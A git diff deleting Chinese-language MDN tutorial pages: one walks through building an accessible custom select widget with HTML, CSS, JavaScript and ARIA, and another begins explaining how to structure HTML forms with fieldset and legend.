{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}
- -

在许多情况下,可用的 HTML 表单小组件是不够的。如果要在某些小部件(例如 {{HTMLElement("select")}}元素)上执行高级样式,或者如果要提供自定义表现,则别无选择,只能构建自己的小部件。

- -

在本文中,我们会看到如何构建这样的组件。为此,我们将使用这样一个例子:重建 {{HTMLElement("select")}}元素。

- -
-

注意: 我们将专注于构建小部件,而不是怎样让代码更通用或可复用;那会涉及一些非基础的JavaScript代码和未知环境下的DOM操作,这超过了这篇文章的范围。

-
- -

设计, 结构, 和语义

- -

在构建一个自定义控件之前,首先你要确切的知道你要什么。 这将为您节省宝贵的时间。 特别地,清楚地定义控件的所有状态非常重要。 为了做到这一点,从状态和行为表现都众所周知的现有小控件开始是很好的选择,这样你可以轻松的尽量模仿这些控件。

- -

在我们的示例中,我们将重建HTML<select>元素,这是我们希望实现的结果:

- -

The three states of a select box

- -

上面图片显示了我们控件的三个主要状态:正常状态(左); 活动状态(中)和打开状态(右)。

- -

在行为方面,我们希望我们的控件像任何原生控件一样对鼠标和键盘都可用。 让我们从定义控件如何到达每个状态开始:

- -
-
以下情况控件将会呈现正常状态:
-
-
    -
  • 页面加载
  • -
  • 控件处于活动状态,但用户点击控件以外的任何位置
  • -
  • 控件是活动状态,但用户使用键盘将焦点移动到另一个小部件
  • -
- -
-

注意: 在页面上移动焦点通常是通过按Tab键来完成的,但这并不是哪都通用的标准。 例如,在Safari中页面上的链接间的循环切换默认下是通过使用组合键Option + Tab完成的。

-
-
-
以下情况控件将会呈现活动状态:
-
-
    -
  • 用户点击
  • -
  • 用户按下tab让控件获得了焦点。
  • -
  • 控件呈现打开状态然后用户点击控件。
  • -
-
-
以下情况控件将会呈现打开状态:
-
-
    -
  • 控件在非打开状态时被用户点击。
  • -
-
-
- -

我们知道如何改变状态后,定义如何改变小工具的值还很重要:

- -
-
以下情况控件的值将会被改变:
-
-
    -
  • 控件在打开状态下用户点击一个选项
  • -
  • 控件在活动状态下用户按下键盘上方向键或者下方向键
  • -
-
-
- -

最后,让我们定义控件的选项将要怎么表现:

- - - -

对于我们的例子的目的,我们将就此结束;但是,如果你是一个认真的读者,你会注意到我们省略了一些东西,例如,你认为用户在小部件处于打开状态时点击tab键会发生什么?答案是:什么也不会发生。好吧,似乎很明显这就是正确的行为,但事实是,因为在我们的规范中没有定义这种情况,我们很容易忽略这种行为。在团队环境中尤其是这样,因为设计小部件行为的人与实现的人通常是不同的。

- -

另外一个有趣的例子是:当小部件处于打开状态时,用户按下键盘上方向键和下方向键将会发生什么?这个问题有些棘手,如果你认为活动状态和打开状态是完全不同的,那么答案就是“什么都不会发生”,因为我们没有定义任何在打开状态下键盘的交互行为。从另一个方面看,如果你认为活动状态和打开状态是有重叠的部分,那么控件的值可能会改变,但是被选中的选项肯定不会相应的进行突出显示,同样是因为我们没有定义在控件打开状态下的任何键盘交互事件(我们仅仅定义了控件打开会发生什么,而没有定义在其打开后会发生什么)

- -

在我们的例子中,缺失的规范是显而易见的,所以我们将着手处理他们,但是对于一些没有人想到去定义正确行为的小部件而言,这的确是一个问题。所以在设计阶段花费时间是值得的,因为如果你定义的行为不够好,或者忘记定义了一个行为,那么在用户开始实际使用时,将会很难去重新定义它们。如果你在定义时有疑问,请征询他人的意见,如果你有预算,请不要犹豫的去进行用户可行性测试,这个过程被称为UX design (User Experience Design用户体验设计),如果你想要深入的学习相关的内容,请查阅下面这些有用资源:

- - - -
-

注意: 另外, 在绝大多数系统中,还有一种方法能够打开{{HTMLElement("select")}}元素来观察其所有的选项(这和用鼠标点击{{HTMLElement("select")}}元素是一样的)。通过Windows下的Alt + 向下箭头实现,在我们的例子中没有实现---但是这样做会很方便,因为鼠标点击事件就是由该原理实现的。

-
- -

定义语义化的 HTML 结构

- -

现在控件的基本功能已经决定了,可以开始构建自定义控件了。第一步是要确定 HTML 结构并给予一些基本的语义规则。第一步就是去确定它的HTML结构并给予一些基本的语义。重构{{HTMLElement("select")}}元素需要怎么做如下:

- -
<!-- 这是我们小部件的主要容器.
-     tabindex属性是用来让用户聚焦在小部件上的.
-     稍后我们会发现最好通过JavaScript来设定它的值. -->
-<div class="select" tabindex="0">
-
-  <!-- 这个容器用来显示组件现在的值 -->
-  <span class="value">Cherry</span>
-
-  <!-- 这个容器包含我们的组件的所有可用选项.
-       因为他是一个列表,用ul元素是有意义的. -->
-  <ul class="optList">
-    <!-- 每个选项只包含用来显示的值,
-         稍后我们会知道如何处理和表单一起发送的真实值 -->
-    <li class="option">Cherry</li>
-    <li class="option">Lemon</li>
-    <li class="option">Banana</li>
-    <li class="option">Strawberry</li>
-    <li class="option">Apple</li>
-  </ul>
-
-</div>
- -

注意类名的使用:不管实际使用了哪种底层HTML元素,它们都标识每个相关的部分。这很重要,因为这样做能确保我们的CSS和JavaScript不会和HTML结构强绑定,这样我们就可以在不破坏使用小部件的代码的情况下进行实现更改。比如,如果你希望增加一个等价的{{HTMLElement("optgroup")}}元素。

- -

使用 CSS 创建外观

- -

现在我们有了控件结构,我们可以开始设计我们的控件了。构建自定义控件的重点是能够完全按照我们的期望设置它的样式。为了达到这个目的,我们将 CSS部分的工作分为两部分:第一部分是让我们的控件表现得像一个{{HTMLElement("select")}}元素所必需的的CSS规则,第二部分包含了让组件看起来像我们所希望那样的精妙样式。

- -

所需的样式

- -

所需的样式是那些用以处理我们组件的三种状态的必须样式。

- -
.select {
-  /* 这将为选项列表创建一个上下文定位 */
-  position: relative;
-
-  /* 这将使我们的组件成为文本流的一部分,同时又可以调整大小 */
-  display : inline-block;
-}
- -

我们需要一个额外的类 active 来定义我们的组件处于其激活状态时的的界面外观。因为我们的组件是可以聚焦的, 我们通过{{cssxref(":focus")}} 伪类重复自定义样式来确保它们表现得一样。

- -
.select .active,
-.select:focus {
-  outline: none;
-
-  /* 这里的 box-shadow 属性并非必须,但确保活动状态能看出来非常重要---我们
- 将其作为一个默认值,你可以随意地覆盖掉它. */
-  box-shadow: 0 0 3px 1px #227755;
-}
- -

现在,让我们处理选项列表:

- -
/* 这里的 .select 选择器是一个糖衣语法,用来确保我们定义的类是
-   在我们的组件里的那个。 */
-.select .optList {
-  /* 这可以确保我们的选项列表将会显示在值的下面,并且会处在
-     HTML 流之外*/
-  position : absolute;
-  top      : 100%;
-  left     : 0;
-}
- -

我们需要一个额外的类来处理选项列表隐藏时的情况。为了管理没有完全匹配的活动状态和打开状态之间的差异,这是有必要的。

- -
.select .optList.hidden {
-  /* 这是一个以可访问形式隐藏列表的简单方法,
-     对可访问性我们将在最后进一步拓展 */
-  max-height: 0;
-  visibility: hidden;
-}
- -

美化

- -

所以现在我们的基本功能已经就位,有趣的事情就可以开始了。下面是一个可行的简单的例子,和本文开头的截图是相对应的。不管怎样,你可以随意的体验一下看看能收获什么。

- -
.select {
-  /* 出于可访问性方面的原因,所有尺寸都会由em值表示
-     (用来确保用户在文本模式下使用浏览器缩放时组件的可缩放性).
-     在大多数浏览器下的默认换算是1em == 16px.
-     如果你对em和px的转换感到疑惑, 请参考http://riddle.pl/emcalc/ */
-  font-size   : 0.625em; /* 这个(=10px)是以em方式表达的这个环境里的字体大小 */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  /* 我们需要为将要添加的向下箭头准备一些额外的空间 */
-  padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : .2em solid #000; /* 2px */
-  border-radius : .4em; /* 4px */
-  box-shadow    : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  /* 第一段声明是为了不支持线性梯度填充的浏览器准备的。
-     第二段声明是因为基于WebKit的浏览器没有预先定义它。
-     如果你想为过时的浏览器提供支持, 请参阅 http://www.colorzilla.com/gradient-editor/ */
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  /* 因为值的宽度可能超过组件的宽度,我们需要确保他不会改变组件的宽度 */
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  vertical-align: top;
-
-  /* 如果内容溢出了, 最好有一个恰当的缩写. */
-  white-space  : nowrap;
-  text-overflow: ellipsis;
-}
- -

我们不需要一个额外的元素来设计向下的箭头,而使用{{cssxref(":after")}} 伪类来替代。然而,这也可以通过使用一张加在select class上的简单的背景图像来实现。

- -
.select:after {
-  content : "▼"; /* 我们使用了unicode 编码的字符 U+25BC; 参阅 http://www.utf8-chartable.de */
-  position: absolute;
-  z-index : 1; /* 这对于防止箭头覆盖选项列表很重要 */
-  top     : 0;
-  right   : 0;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  height  : 100%;
-  width   : 2em;  /* 20px */
-  padding-top : .1em; /* 1px */
-
-  border-left  : .2em solid #000; /* 2px */
-  border-radius: 0 .1em .1em 0;  /* 0 1px 1px 0 */
-
-  background-color : #000;
-  color : #FFF;
-  text-align : center;
-}
- -

接下来,让我们定义选项列表的样式。

- -
.select .optList {
-  z-index : 2; /* 我们明确的表示选项列表会始终与向下箭头重叠 */
-
-  /* 这会重置ul元素的默认样式 */
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  /* 这会确保即使数值比组件小,选项列表仍能变得跟组件自身一样大*/
-  min-width : 100%;
-
-  /* 万一列表太长了, 它的内容会从垂直方向溢出(会自动添加一个竖向滚动条)
-     但是水平方向不会(因为我们没有设定宽度, 列表会自适应宽度. 如果不能的话,内容会被截断) */
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-
-  border: .2em solid #000; /* 2px */
-  border-top-width : .1em; /* 1px */
-  border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */
-  background: #f0f0f0;
-}
- -

对于选项,我们需要添加一个 highlight 类以便能标明用户将要选择的值或者已经选择的值。

- -
.select .option {
-  padding: .2em .3em; /* 2px 3px */
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

这是三种状态的结果:

- - - - - - - - - - - - - - - - - - - -
基本状态活动状态打开状态
{{EmbedLiveSample("Basic_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}{{EmbedLiveSample("Active_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}{{EmbedLiveSample("Open_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}
Check out the source code
- -

通过JavaScript让您的小部件动起来

- -

现在我们的设计和结构已经完成了。我们可以写些JavaScript代码来让这个部件真正生效。

- -
-

警告:下面的代码仅仅是教学性质的,并且不应该照搬使用。在许多方面,正如我们所看到的,这种方案不具有前瞻性,而且可能在旧浏览器上会不工作。这里面还有冗余的部分,在生产环境下,代码需要优化。

-
- -
-

注意:创建可复用的组件可能是一件需要些技巧的事情。W3C 网络组件草案 是对这类特定问题的答案之一。X-Tag 项目 是对这一规格的实验性实现;我们建议你看看它。

-
- -

它为什么不生效?

- -

在我们开始之前,要记住一件和 JavaScript 有关的非常重要的事情:在浏览器中,这是一种不可靠的技术。当你构建一个自定义组件时,你会不得不得依赖于 JavaScript,因为这是将所有的东西联系在一起的线索。但是,很多情况下,JavaScript 不能在浏览器中运行。

- - - -

因为这些风险,认真考虑 JavaScript 不生效时会发生什么是很重要的。处理这个问题的细节超出了这篇文章的范围,因为这与你有多么想使你的脚本具有通用性和可复用性更加相关,不过我们将在我们的例子中考虑与其相关的基本内容。

- -

在我们的例子中,如果JavaScript代码没有运行,我们会回退到显示一个标准的 {{HTMLElement("select")}} 元素。为了实现这一点,我们需要两样东西。

- -

首先,在每次使用我们的自定义部件前,我们需要添加一个标准的 {{HTMLElement("select")}} 元素。实际上,为了能将来自我们自定义的表单组件和以及其他部分的表单数据发送出去,这个元素也是需要的。我们随后会详细的解释这一点。

- -
<body class="no-widget">
-  <form>
-    <select name="myFruit">
-      <option>Cherry</option>
-      <option>Lemon</option>
-      <option>Banana</option>
-      <option>Strawberry</option>
-      <option>Apple</option>
-    </select>
-
-    <div class="select">
-      <span class="value">Cherry</span>
-      <ul class="optList hidden">
-        <li class="option">Cherry</li>
-        <li class="option">Lemon</li>
-        <li class="option">Banana</li>
-        <li class="option">Strawberry</li>
-        <li class="option">Apple</li>
-      </ul>
-    </div>
-  </form>
-
-</body>
- -

第二,我们需要两个新的 classes 来隐藏不需要的元素(即,当我们的脚本没有运行时的自定义组件, 或是脚本正常运行时的"真正的" {{HTMLElement("select")}} 元素)。注意默认情况下,我们的 HTML 代码会隐藏我们的自定义组件。

- -
.widget select,
-.no-widget .select {
-  /* 这个CSS选择器大体上说的是:
-     - 要么我们将body的class设置为"widget",隐藏真实的{{HTMLElement("select")}}元素
-     - 或是我们没有改变body的class,这样body的class还是"no-widget",
-       因此class为"select"的元素需要被隐藏 */
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
- -

接下来我们需要一个 JavaScript 开关来决定脚本是否运行。这个开关非常简单:如果页面加载时,我们的脚本运行了,它将会移除 no-widget class ,并添加  widget class,由此切换 {{HTMLElement("select")}} 元素和自定义组件的可视性。

- -
window.addEventListener("load", function () {
-  document.body.classList.remove("no-widget");
-  document.body.classList.add("widget");
-});
- - - - - - - - - - - - - - - - - -
无 JS有 JS
{{EmbedLiveSample("No_JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}{{EmbedLiveSample("JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}
Check out the source code
- -
-

注意: 如果你真的想让你的代码变得通用和可重用,最好不要做一个 class 选择器开关,而是通过添加一个组件 class 的方式来隐藏{{HTMLElement("select")}} 元素,并且动态地在每一个{{HTMLElement("select")}} 元素后面添加代表页面中自定义组件的 DOM 树。

-
- -

让工作变得更简单

- -

在我们将要构建的代码之中,我们将会使用标准的 DOM API 来完成我们所要做的所有工作。尽管 DOM API 在浏览器中得到了更好支持,但是在旧的浏览器上还是会出现问题。( 特别是非常老的 Internet Explorer)。

- -

如果你想要避免旧浏览器带来的麻烦,这儿有两种解决方案:使用专门的框架,比如 jQuery, $dom, prototype, Dojo, YUI, 或者类似的框架,或者通过填充你想使用的缺失的特性 (这可以通过条件加载轻松完成——例如使用 yepnope 这样的库。

- -

我们打算使用的特性如下所示(按照风险程度从高到低排列):

- -
    -
  1. {{domxref("element.classList","classList")}}
  2. -
  3. {{domxref("EventTarget.addEventListener","addEventListener")}}
  4. -
  5. forEach (这不是 DOM而是现代 JavaScript )
  6. -
  7. {{domxref("element.querySelector","querySelector")}} 和 {{domxref("element.querySelectorAll","querySelectorAll")}}
  8. -
- -

除了那些特定特性的的可用性以外,在开始之前,仍然存在一个问题。由函数{{domxref("element.querySelectorAll","querySelectorAll()")}} 返回的对象是一个{{domxref("NodeList")}} 而不是  Array。这一点非常重要,因为 Array  对象支持 forEach 函数,但是 {{domxref("NodeList")}} 不支持。由于 {{domxref("NodeList")}} 看起来实在是像一个 Array 并且因为 forEach 是这样的便于使用。我们可以轻易地添加对 {{domxref("NodeList")}}的支持,使我们的生活更轻松一些,像这样:

- -
NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
- -

我们没有开玩笑,这真的很容易实现。

- -

构造事件回调

- -

基础已经准备好了,我们现在可以开始定义用户每次同我们的组件交互时会用到的所有函数了。

- -
// 这个函数会用在每当我们想要停用一个自定义组件的时候
-// 它需要一个参数:
-// select :要停用的带有 'select' 类的节点
-function deactivateSelect(select) {
-
-  // 如果组件没有运行,不用进行任何操作
-  if (!select.classList.contains('active')) return;
-
-  // 我们需要获取自定义组件的选项列表
-  var optList = select.querySelector('.optList');
-
-  // 关闭选项列表
-  optList.classList.add('hidden');
-
-  // 然后停用组件本身
-  select.classList.remove('active');
-}
-
-// 每当用户想要激活(或停用)这个组件的时候,会调用这个函数
-// 它需要2个参数:
-// select : 要激活的带有'select'类的DOM节点
-// selectList : 包含所有带'select'类的DOM节点的列表
-function activeSelect(select, selectList) {
-
-  // 如果组件已经激活了,不进行任何操作
-  if (select.classList.contains('active')) return;
-
-  // 我们需要关闭所有自定义组件的活动状态
-  // 因为deactiveselect函数满足forEach回调函数的所有请求,
-  // 我们直接使用它,不使用中间匿名函数
-  selectList.forEach(deactivateSelect);
-
-  // 然后我们激活特定的组件
-  select.classList.add('active');
-}
-
-// 每当用户想要打开/关闭选项列表的时候,会调用这个函数
-// 它需要一个参数:
-// select : 要触发的列表的DOM节点
-function toggleOptList(select) {
-
-  // 该列表不包含在组件中
-  var optList = select.querySelector('.optList');
-
-  // 我们改变列表的class去显示/隐藏它
-  optList.classList.toggle('hidden');
-}
-
-// 每当我们要高亮一个选项的时候,会调用该函数
-// 它需要两个参数:
-// select : 带有'select'类的DOM节点,包含了需要高亮强调的选项
-// option : 需要高亮强调的带有'option'类的DOM节点
-function highlightOption(select, option) {
-
-  // 为我们的自定义select元素获取所有有效选项的列表
-  var optionList = select.querySelectorAll('.option');
-
-  // 我们移除所有选项的高亮强调
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  // 我们高亮强调正确的选项
-  option.classList.add('highlight');
-};
- -

这是你需要用来处理组件不同状态的所有代码。

- -

接下来,我们将这些函数绑定到合适的事件上:

- -
// 我们处理文档加载时的事件绑定。
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  // 每个自定义组件都需要初始化
-  selectList.forEach(function (select) {
-
-    // 它的'option'元素也需要
-    var optionList = select.querySelectorAll('.option');
-
-    // 每当用户的鼠标悬停在一个选项上时,我们高亮这个指定的选项
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
-        // 注意:'select'和'option'变量是我们函数调用范围内有效的闭包 。
-        highlightOption(select, option);
-      });
-    });
-
-    // 每当用户点击一个自定义的select元素时
-    select.addEventListener('click', function (event) {
-      // 注意:'select'变量是我们函数调用范围内有效的闭包。
-
-      // 我们改变选项列表的可见性
-      toggleOptList(select);
-    });
-
-    // 如果组件获得了焦点
-    // 每当用户点击它或是用tab键访问这个组件时,组件获得焦点
-    select.addEventListener('focus', function (event) {
-      // 注意:'select'和'selectlist'变量是我们函数调用范围内有效的闭包 。
-
-      // 我们激活这个组件
-      activeSelect(select, selectList);
-    });
-
-    // 如果组件失去焦点
-    select.addEventListener('blur', function (event) {
-      // 注意:'select'变量是我们函数调用范围内有效的闭包。
-
-      // 我们关闭这个组件
-      deactivateSelect(select);
-    });
-  });
-});
- -

此时,我们的组件会根据我们的设计改变状态,但是它的值仍然没有更新。我们接下来会处理这件事。

- - - - - - - - - - - - - - - -
Live example
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3")}}
Check out the source code
- -

处理组件的值

- -

既然我们的组件已经开始工作了,我们必须添加代码,使其能够根据用户的输入更新取值,并且能将取值随表单数据一同发送。

- -

实现这一点最简单的方法是使用后台原生组件。这样的一个组件会使用浏览器提供的所有内置控件跟踪值,并且在表单提交时,取值也会像往常一样发送。当有现成的功能时,我们再做重复工作就毫无意义了。

- -

像前面所看到的那样,出于可访问性的原因,我们已经使用了一个原生的选择组件作为后备显示内容;我们可轻松的将它的值与我们的自定义组件之间的值同步。

- -
// 这个函数更新显示的值并将其通过原生组件同步
-// 它需要2个参数:
-// select : 含有要更新的值的'select'类的DOM节点
-// index  : 要被选择的值的索引
-function updateValue(select, index) {
-  // 我们需要为了给定的自定义组件获取原生组件
-  // 在我们的例子中, 原生组件是自定义组件的‘同胞’
-  var nativeWidget = select.previousElementSibling;
-
-  // 我们也需要得到自定义组件的值占位符,
-  var value = select.querySelector('.value');
-
-  // 还有整个选项列表。
-  var optionList = select.querySelectorAll('.option');
-
-  // 我们将被选择的索引设定为我们的选择的索引
-  nativeWidget.selectedIndex = index;
-
-  // 更新相应的值占位符
-  value.innerHTML = optionList[index].innerHTML;
-
-  // 然后高亮我们自定义组件里对应的选项
-  highlightOption(select, optionList[index]);
-};
-
-// 这个函数返回原生组件里当前选定的索引
-// 它需要1个参数:
-// select : 跟原生组件有关的'select'类DOM节点
-function getIndex(select) {
-  // 我们需要为了给定的自定义组件访问原生组件
-  // 在我们的例子中, 原生组件是自定义组件的一个“同胞”
-  var nativeWidget = select.previousElementSibling;
-
-  return nativeWidget.selectedIndex;
-};
- -

通过这两个函数,我们可以将原生组件绑定到自定义的组件上。

- -
// 我们在文档加载时处理事件的绑定。
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  // 每个自定义组件都需要初始化
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option'),
-        selectedIndex = getIndex(select);
-
-    // 使我们的自定义组件可以获得焦点
-    select.tabIndex = 0;
-
-    // 我们让原生组件无法获得焦点
-    select.previousElementSibling.tabIndex = -1;
-
-    // 确保默认选中的值正确显示
-    updateValue(select, selectedIndex);
-
-    // 每当用户点击一个选项的时候,更新相应的值
-    optionList.forEach(function (option, index) {
-      option.addEventListener('click', function (event) {
-        updateValue(select, index);
-      });
-    });
-
-    // 每当用户在获得焦点的组件上用键盘操作时,更新相应的值
-    select.addEventListener('keyup', function (event) {
-      var length = optionList.length,
-          index  = getIndex(select);
-
-      // 当用户点击向下箭头时,跳转到下一个选项
-      if (event.keyCode === 40 && index < length - 1) { index++; }
-
-      // 当用户点击向上箭头时,跳转到上一个选项
-      if (event.keyCode === 38 && index > 0) { index--; }
-
-      updateValue(select, index);
-    });
-  });
-});
- -

在上面的代码里,值得注意的是 tabIndex 属性的使用。使用这个属性是很有必要的,这可以确保原生组件将永远不会获得焦点,而且还可以确保当用户用户使用键盘和鼠标时,我们的自定义组件能够获得焦点。

- -

做完上面这些后,我们就完成了!下面是结果:

- - - - - - - - - - - - - - - -
Live example
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4")}}
Check out the source code
- -

但是等等,我们真的做完了嘛?

- -

使其具有可访问性

- -

我们构建了一个能够生效的东西,尽管这离一个特性齐全的选择框还差得远,但是它效果不错。但是我们已经完成的事情只不过是摆弄DOM。这个组件并没有真正的语义,即使它看起来像一个选择框,但是从浏览器的角度来看并不是,所以辅助技术并不能明白这是一个选择框。简单来说,这个全新的选择框并不具备可访问性!

- -

幸运的是,有一种解决方案叫做 ARIA。ARIA代表"无障碍富互联网应用"。这是一个专为我们现在做的事情设计的 W3C 规范:使网络应用和自定义组件易于访问,它本质上是一组用来拓展 HTML 的属性集,以便我们能够更好的描述角色,状态和属性,就像我们刚才设计的元素是是它试图传递的原生元素一样。使用这些属性非常简单,所以让我们来试试看。

- -

 role 属性

- -

ARIA 使用的关键属性是 role 属性。role 属性接受一个值,该值定义了一个元素的用途。每一个 role 定义了它自己的需求和行为。在我们的例子中,我们会使用 listbox 这一 role。这是一个 "合成角色",表示具有该role的元素应该有子元素,每个子元素都有特定的角色。(在这个案例中,至少有一个具有option 角色的子元素)。

- -

同样值得注意的是,ARIA定义了默认应用于标准 HTML 标记的角色。例如,{{HTMLElement("table")}} 元素与角色 grid 相匹配,而 {{HTMLElement("ul")}} 元素与角色 list 相匹配。由于我们使用了一个 {{HTMLElement("ul")}} 元素,我们想要确保我们组件的 listbox 角色能替代 {{HTMLElement("ul")}} 元素的list 角色。为此,我们会使用角色 presentation。这个角色被设计成让我们来表示一个元素没有特殊的含义,并且仅仅用于提供信息。我们会将其应用到{{HTMLElement("ul")}} 元素上。

- -

为了支持 listbox 角色,我们只需要将我们 HTML 改成这样:

- -
<!-- 我们把role="listbox" 属性添加到我们的顶部元素 -->
-<div class="select" role="listbox">
-  <span class="value">Cherry</span>
-  <!-- 我们也把 role="presentation" 添加到ul元素中 -->
-  <ul class="optList" role="presentation">
-    <!-- 然后把role="option" 属性添加到所有li元素里 -->
-    <li role="option" class="option">Cherry</li>
-    <li role="option" class="option">Lemon</li>
-    <li role="option" class="option">Banana</li>
-    <li role="option" class="option">Strawberry</li>
-    <li role="option" class="option">Apple</li>
-  </ul>
-</div>
- -
-

注意:只有当你想要为不支持 CSS 属性选择器的旧浏览器提供支持时,才有必要同时包含 role 属性和一个class 属性。

-
- -

 aria-selected 属性

- -

仅仅使用 role 属性是不够的。 ARIA 还提供了许多状态和属性的内部特征。你能更好更充分的利用它们,你的组件就会能够被辅助技术更好的理解。在我们的例子中,我们会把使用限制在一个属性上:aria-selected

- -

aria-selected 属性被用来标记当前被选中的选项;这可以让辅助技术告知用户当前的选项是什么。我们会通过 JavaScript 动态地使用该属性,每当用户选择一个选项时标记选中的选项。为了达到这一目的,我们需要修正我们的 updateValue() 函数:

- -
function updateValue(select, index) {
-  var nativeWidget = select.previousElementSibling;
-  var value = select.querySelector('.value');
-  var optionList = select.querySelectorAll('.option');
-
-  // 我们确保所有的选项都没有被选中
-  optionList.forEach(function (other) {
-    other.setAttribute('aria-selected', 'false');
-  });
-
-  // 我们确保选定的选项被选中了
-  optionList[index].setAttribute('aria-selected', 'true');
-
-  nativeWidget.selectedIndex = index;
-  value.innerHTML = optionList[index].innerHTML;
-  highlightOption(select, optionList[index]);
-};
- -

这是经过所有的改变之后的最终结果。 ( 藉由 NVDA or VoiceOver 这样的辅助技术尝试它,你会对此有更好的体会):

- - - - - - - - - - - - - - - -
在线示例
{{EmbedLiveSample("Change_states",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_5")}}
Check out the final source code
- -

总结

- -

我们已经了解了所有和构建一个自定义表单组件相关的基础知识,但是如你所见做这件事非常繁琐,并且通常情况下依赖第三方库,而不是自己从头写起会更容易 ,也更好(当然,除非你的目的就是构建一个这样的库)。

- -

这儿有一些库,在你编写自己的之前应该了解一下:

- - - -

如果你想更进一步, 本例中的代码需要一些改进,才能变得更加通用和可重用。这是一个你可以尝试去做的练习。这里有两个提示可以帮到你:我们所有函数的第一个参数是相同的,这意味着这些函数需要相同的上下文。构建一个对象来共享那些上下文是更聪明的做法。还有,你需要让它的特性适用性更好;也就是说,它要能在一系列对Web标准的兼容性不同的浏览器上工作良好。祝愉快!

- -

{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}

- -

在本单元中

- - diff --git a/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html b/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html deleted file mode 100644 index eda4b201da..0000000000 --- a/files/zh-cn/learn/html/forms/how_to_structure_an_html_form/index.html +++ /dev/null @@ -1,290 +0,0 @@ ---- -title: 如何构造HTML表单 -slug: Learn/HTML/Forms/How_to_structure_an_HTML_form -translation_of: Learn/Forms/How_to_structure_a_web_form ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Forms/Your_first_HTML_form", "Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms")}}
- -

有了基础知识,我们现在更详细地了解了用于为表单的不同部分提供结构和意义的元素。

- - - - - - - - - - - - -
前提条件:基本的计算机能力, 和基本的 对HTML的理解
目标:要理解如何构造HTML表单并赋予它们语义,以便它们是可用的和可访问的。
- -

HTML表单的灵活性使它们成为HTML中最复杂的结构之一;您可以使用专用的表单元素和属性构建任何类型的基本表单。在构建HTML表单时使用正确的结构将有助于确保表单可用性和可访问性。

- -

 <form> 元素

- -

 {{HTMLElement("form")}} 元素按照一定的格式定义了表单和确定表单行为的属性。当您想要创建一个HTML表单时,都必须从这个元素开始,然后把所有内容都放在里面。许多辅助技术或浏览器插件可以发现{{HTMLElement("form")}}元素并实现特殊的钩子,使它们更易于使用。 

- -

我们早在之前的文章中就遇见过它了。

- -
注意: 严格禁止在一个表单内嵌套另一个表单。嵌套会使表单的行为不可预知,而这取决于正在使用的浏览器。
- -

请注意,在{{HTMLElement("form")}}元素之外使用表单小部件是可以的,但是如果您这样做了,那么表单小部件与任何表单都没有任何关系。这样的小部件可以在表单之外使用,但是您应该对于这些小部件有特别的计划,因为它们自己什么也不做。您将不得不使用JavaScript定制他们的行为。

- -
-

注意: HTML5在HTML表单元素中引入form属性。它让您显式地将元素与表单绑定在一起,即使元素不在{{ HTMLElement("form") }}中。不幸的是,就目前而言,跨浏览器对这个特性的实现还不足以使用。

-
- -

 <fieldset> 和 <legend> 元素

- -

{{HTMLElement("fieldset")}}元素是一种方便的用于创建具有相同目的的小部件组的方式,出于样式和语义目的。 你可以在<fieldset>开口标签后加上一个 {{HTMLElement("legend")}}元素来给{{HTMLElement("fieldset")}} 标上标签。 {{HTMLElement("legend")}}的文本内容正式地描述了{{HTMLElement("fieldset")}}里所含有部件的用途。

- -

许多辅助技术将使用{{HTMLElement("legend")}} 元素,就好像它是相应的 {{HTMLElement("fieldset")}} 元素里每个部件的标签的一部分。例如,在说出每个小部件的标签之前,像JawsNVDA这样的屏幕阅读器会朗读出legend的内容。

- -

这里有一个小例子:

- -
<form>
-  <fieldset>
-    <legend>Fruit juice size</legend>
-    <p>
-      <input type="radio" name="size" id="size_1" value="small">
-      <label for="size_1">Small</label>
-    </p>
-    <p>
-      <input type="radio" name="size" id="size_2" value="medium">
-      <label for="size_2">Medium</label>
-    </p>
-    <p>
-      <input type="radio" name="size" id="size_3" value="large">
-      <label for="size_3">Large</label>
-    </p>
-  </fieldset>
-</form>
- -
-

